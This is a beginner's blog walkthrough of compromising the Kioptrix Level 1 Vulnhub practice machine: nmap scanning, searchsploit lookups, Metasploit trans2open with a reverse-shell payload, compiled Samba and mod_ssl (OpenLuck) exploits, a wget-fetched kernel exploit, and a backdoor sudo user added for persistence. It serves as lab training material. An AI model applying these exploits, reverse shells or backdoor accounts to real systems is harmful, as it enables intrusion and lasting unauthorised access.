Kioptrix series is a set of 5 vulnerable machines on Vulnhub which I have seen is the most recommended starting point for beginners to Pentesting!
In this blog, I have tried to document the end to end process starting from importing the VM to finally rooting the VM.

Prerequisites: When I first started with Virtual Machines, I did not know about this, so I am adding this resource here.
Before our virtual machine can be started we need to enable Virtualization from our BIOS.

Initial Setup

Downloading the VM

Choose any of the links to download the VM

It is usually recommended to check the MD5 and SHA1 for the downloaded file, just in case the downloaded file was tampered.

Verifying Integrity and File Size

Importing the VM

Before we start importing, I would strongly recommend that we should read through the description of the machine on the website. This is because sometimes there might be a pre-requisite, some additional setup steps, and os details. We start importing the VM by creating a new machine.

We can set any name that we like, Type is set to Linux ( as we saw on the vulnhub site). Finally, talking about version, when no specific architecture or OS is specified, I generally go with ` Other Linux (64 Bit ) `

Creating a Virtual Machine

Memory Allocation

Usually, I would allocate a size that would be twice the recommended size, to ensure a smoother experience.

Allocating Memory

Adding the Virtual Hard Disk

Most of the challenges will ship out a virtual hard disk file that will need to be imported. Select the last option to use an existing virtual disk file, and click on the icon on the right.

Adding the virtual hard disk

Find the .vmdk file and add it.

Finally, if everything looks good you would have something like this :

Go ahead and click on create. Before we start the machine, we should check if all the settings are valid.

Validate Settings

Network Interfaces

1. NAT- Uses the same IP address as the host
2. Bridged Adapter- Assigns a new IP address on the same subnet ( Allows Internet Connectivity to the VM)
3. Host-only Adapter- Assigns a new IP usually on 192.56.x.x ( Doesn’t allow the VM to connect to the Internet )

There are other options as well, but these are the ones that I often use.
Usually, I always connect mine to HostOnly Adapter, unless there is a need for the VM to be connected to the internet explicitly. If this is the first time that we are connecting using this adapter, we can get some errors like this:

Error because no interface was detected

The solution is simple,

Main Screen → File →Host-Network Manager → Create → Enable DHCP Server

Starting up the VM

Now that we have everything set up, we can go ahead and start the VM.

Default Screen

Host Discovery

In real Pentests, recon is a lot more than just finding the IP Address of the target on our subnet.

There might be more methods, but I either use netdiscover or nmap -sP <ip_range>

Network Mask

Also, note that our IP has a network mask of ‘/24’, hence we can perform a ping sweep of the network in this range.

sudo netdiscover -i vboxnet0

Using Netdiscover

Nmap Scan

We can now confirm that we have our target machine as 192.168.56.2 using ping or fping as well.

Confirm that the host is up

Scanning and Enumeration

Recently, I have observed that ‘autorecon’ is something that everyone has been recommending for the OSCP exam, thus I am adding that here.
Installing Autorecon:
1. Clone repository from Github link using
git clone https://github.com/Tib3rius/AutoRecon
2. Download and install the repositories pip3 install -r requirements.txt
And we are good to go!

Snipped Autorecon Output

I have always scanned the target manually using Nmap and then enumerate all the services individually. This is what Autorecon does, and stores all the results in a folder and provides numerous customizations. We can view all the relevant summary from the scan results. I have also used nmap to demonstrate how we would have done things without Autorecon.

Autorecon Results

Let’s proceed with the nmap scan - nmap -sV -A $target

> nmap -sV -A $target
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-18 22:16 IST
Nmap scan report for 192.168.56.3
Host is up (0.68s latency).
Not shown: 994 closed ports
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey: 
|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp    open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
|_ssl-date: 2020-07-19T02:17:37+00:00; +9h29m59s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC4_64_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_    SSL2_RC2_128_CBC_WITH_MD5
32768/tcp open  status      1 (RPC #100024)
Host script results:
|_clock-skew: 9h29m58s
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.09 seconds

SMB Version Information using Metasploit :

SMB Version

Services that we see along with version numbers:
1. SSH : OpenSSH 2.9p2 (protocol 1.99) : Port 22
2. HTTP & HTTPS: Apache httpd 1.3.20 : mod_ssl 2.8.4 : Port 80 & 443
3. Samba : 2.2.1a : Port 139

Let us start processing these services and see if they are vulnerable.

SSH

Version: OpenSSH 2.9p2 (protocol 1.99)
Port: 22

In my experience ssh is not usually vulnerable, and is used after exploiting a webapp and getting credentials to ssh on the machine or some other vector. We can try for common passwords, but not the first service of choice.

HTTP

We first take a look at the website on http://<target-ip>

Default Apache Page ( Looks Pretty Old )

A quick search on searchsploit gives us

Searchsploit Search Results

We observe that the exploit is focused on Unix and is remote, exactly the type of exploit that we needed. We will note it here and try to use this while exploitation.

SMB

SMB Search Results from Searchsploit

A quick searchsploit tells us that there is remote code execution available on the system using 2 options:
1. trans2open
2. using the remote exploit- 10.c

Note: “Searchsploit” is a command-line search tool for Exploit-DB,

Exploitation

SMB

SMB has been the most vulnerable service, like ever :P So we should start with this one. We observe ‘trans2open’ is a Metasploit module.

Using msfconsole

Here we will be using the highlighted exploit :

interesting results from searchsploit

A little background, ‘msfconsole’ is the command that is used to start Metasploit. Metasploit is like a swiss army knife that has the following modules:
1. auxiliary: for scanning and enumeration
2. exploit: we usually enter a target and set a payload, depending on the vulnerability to be exploited.
3. payloads: there are different payload options, for reverse shell, bind shell and meterpreter.
4. post-exploitation: once we have our initial foothold, that is a local shell or a root shell, these modules can be used to explore more on the system or even get a privilege escalation.

In this section, we will be using the exploit module to get access to the target machine, we quickly search for ‘trans2open’ and get the following results.

Search Results with trans2open exploits

We notice that a default payload was chosen for us. Next step is to configure the options.

Configuring the Exploit

RHOSTS- This is for storing the IP address of the target machine
LHOST- This is for storing the IP address of the attacker machine

As we can see my default LHOST is the IP taken from my ‘wlan0’ config, but since we were using Host-Only adapter, we would also need to change to our IP to that of ‘vboxnet0’ i.e. 192.168.56.1.

setting up RHOST and LHOST

Now we can use ‘run’ or ‘exploit’ to finally execute the attack.

Meterpreter Sessions Died

We observe that we got 4 connections that died, and then it keeps trying but no session gets created, this usually means that we have selected the wrong payload. Let us use another payload set payload linux/x86/shell_reverse_tcp

Setting up payload configuration

And now when we run it, we get root :D

Shell with Root Privileges

This was an easy challenge hence we directly got root, otherwise, what usually happens is that we get a shell with a standard user, and then we need to escalate to the admin user.

Using exploit from ExploitDB

samba remote code exploit

We see that a location/path has been provided, usually, all the exploits are placed under ‘/usr/share/exploitdb/exploits’, but in case we don’t remember this we can also use locate. After getting the absolute path, we should copy the code to our current workspace, and then compile it. I have written a short script to copy the exploit to current directory, based on the path returned by Metasploit.

!/bin/bash
locate $1 > /dev/null 2>&1
if [ $? -eq 0 ];then
 cp $(locate $1) .
 echo "Copied"
else
 echo "File not found"
fi

Before compiling and running an exploit it is always advised to look at the source code once and try to figure out what the code is essentially doing, and in a pentest, this helps a lot because we do not want to disrupt the services of our clients by running random scripts and exploits.

We observe that the source code is as long as 1176 lines.

exploit source code snippet

We see some bindcodes and connect_back, but these are in Hex, to see what they contain let us use http://ddecode.com/hexdecoder/

Let us convert ‘linux_bindcode’ and see what it actually contains

Analysing the payload

We see ‘/shh/bin’, what we can understand and previous information that it was vulnerable to remote buffer overflow, is that the unrecognized characters are being written on to the buffer and then we are trying to execute ‘/bin/sh’ on the remote machine.

Analysing Exploit Source Code

We notice a piece of code that is used to scan the network, we see that an IP is being selected using ‘rand()’ function.

We see that corresponding shellcodes are being loaded depending on the target machine ( in our case, Linux ) that we can provide.

Shellcodes are loaded depending on the target machine

We see that the code tries connecting to the machine, and checks if the connection is successful, after which it tries to copy the shellcode on the target machine and spawn a shell for us.

We do not need to get into finer details now, but it always helps us to understand that an exploit is essentially a piece of code written by someone who has a deeper understanding of the vulnerability.

Once we have finished going through the file, we can go ahead and compile it using gcc, and we get a binary called ‘a.out’, running which without additional parameters displays the list of options.
Since we know that the target machine is a Linux machine, we can go ahead and run it with actual parameters.

Running the Exploit

Shell with Root Privi

And hence we have rooted the machine without using Metasploit as well.

Exploiting HTTP

The exploits for mod_ssl are old and need to be updated, so I came across an updated GitHub repository- https://github.com/heltonWernik/OpenLuck
Referring to the Readme on the repository, we need to do the following:

> git clone https://github.com/heltonWernik/OpenLuck #Clone the repo
> sudo apt-get install libssl-dev #Install the dependencies
> gcc -o OpenLuck OpenFuck.c -lcrypto
#And then find the right parameters to be passed.

Before we run it we should take a quick look at the code and see what this is trying to do.

understanding the exploit source code

Taking a high-level view of code, we can see that we are creating 2 connections using ssl1 and ssl2. The next couple of function calls ( get* and set*) look like are being used to send and receive the SYN-ACK (used during the 3-Way Handshake )Packets. We notice that ssl1 was a complete connection, but when the exploit starts connecting using the second client, ie ssl2, it has modified the request, and it waits for error, after which it sends a shell to the same connection.

Now that we have some idea about what the code does, we can go ahead and run it.

Supported OS Lists

From our scanning and enumeration, we know that the box is running RedHat Linux and apache version is 1.3.20, so we can grep it out using

./OpenLuck | grep RedHat | grep 1.3.20

Exploit

Using grep we narrow down our list of supported boxes to these two options: 0x6a and 0x6b.

Let us first try with 0x6a :

We do not get our shell

Let us try with 0x6b:

Exploit Failed because the target machine was not connected to the internet

We see the error because our target was not connected to the internet. We can manually download the ‘ptrace-kmod.c’ on our attacker machine and then load it on the target machine using wget.

Download the exploit source on attacker machine and then creating a server

Note that we are still user ‘apache’ when we download the source code, and then after compiling and running the binary, we get root.

Shell with Root Privileges

Post Exploitation

We already have root on the machine, let us try to maintain access, for that what we can do is create a new user and add it to sudoers.
To add new users, we use ‘useradd’, and when we get an error we try to find the binary for useradd on the system using locate.

We see that useradd was located in ‘/usr/sbin/useradd’, this is because this path was not added to the PATH variable. A PATH variable is a ‘:’ separated list of paths where Linux uses to search for the requested binary/command/program. We finally add a user ‘tipsy’.

After adding the user, we would also like it to have all the admin privileges. For that we add the user in sudoers file (this file contains information about all users and the admin rights that they have, sometimes we have access to a specific program as root).

Sudo privileges for root user

We want to have complete access, hence we add ‘ALL=(ALL) ALL’ with our user.

Added user tipsy to sudoer's file

We can verify if the user was successfully added using ssh.

These were some legacy methods of key exchange, that I guess aren’t supported anymore(if I find a fix for this or someone reading this helps me fix it, I will update it here).
In the case of newer machines, this is the approach that we should follow, and I believe will work.

Flag

> cat /var/mail/root
From root Sat Sep 26 11:42:10 2009
Return-Path: [email protected]
Received: (from root@localhost)
by kioptix.level1 (8.11.6/8.11.6) id n8QFgAZ01831
for [email protected]; Sat, 26 Sep 2009 11:42:10 -0400
Date: Sat, 26 Sep 2009 11:42:10 -0400
From: root [email protected]
Message-Id: 200909261542[email protected]
To: [email protected]
Subject: About Level 2
Status: O
If you are reading this, you got root. Congratulations.
Level 2 won’t be as easy…

This is my first write-up of pentesting on a Vulnhub Machine. All feedbacks are appreciated. Thank you and stay tuned for more.